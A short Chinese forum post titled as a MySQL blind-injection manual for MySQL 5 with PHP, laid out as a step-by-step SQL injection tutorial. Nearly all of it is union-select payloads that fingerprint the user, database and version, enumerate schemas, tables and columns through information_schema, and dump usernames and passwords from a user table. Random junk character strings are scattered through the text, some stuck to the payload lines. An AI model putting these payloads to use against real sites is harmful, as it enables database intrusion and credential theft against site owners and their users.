mysql盲注手册

admin

; [, w  c- V2 J: a7 r) R教程内容:Mysql 5+php 注入

; ]% M: O+ N; m) J3 }8 g

一.查看MYSQL基本信息(库名,版本,用户)

and 1=2 union select 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8/*
' ]; a6 J( p0 o$ P
二.查数据库

: @5 @) \4 I* H2 G0 [4 Mand 1=2 union select 1,SCHEMA_NAME,3,4,5,6,7,8  from information_schema.SCHEMATA limit 1,1/*
2 y$ P  y" m/ u& f' @+ r- q; Plimit 从0开始递增，查询到3时浏览器返回错误，说明存在2个库。

三.暴表

+ ?# m. p2 a$ o( p" i& P4 ^and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8 from information_schema.TABLES where TABLE_SCHEMA =库的16进制编码 limit 1,1/*
5 F) e2 I, y0 i  n" O& I
limit 从0开始递增，查询到14时浏览器返回错误，说明此库存在13个表。

四.暴字段

and 1=2 union select 1,2,3,COLUMN_NAME,4,5,6,7,8from information_schema.COLUMNS where TABLE_NAME=表的16进制编码 limit 1,1/*
& v; x! v, p: L& C8 O
limit 从0开始递增，查询到时浏览器返回错误，说明此表存在N-1个列。
9 K* N4 F: ?5 J" E& ?
五.暴数据
$ d/ k" P0 X# q5 n" T
and 1=2 union select 1,2,3,name,5,password,7,8 from web.ad_user/*


; z8 B9 }# `% C/ l8 C4 C这里直接暴明文的密码，大多时候我们遇到的是MD5加密之后的密文。
% Y4 C) E4 `( P- E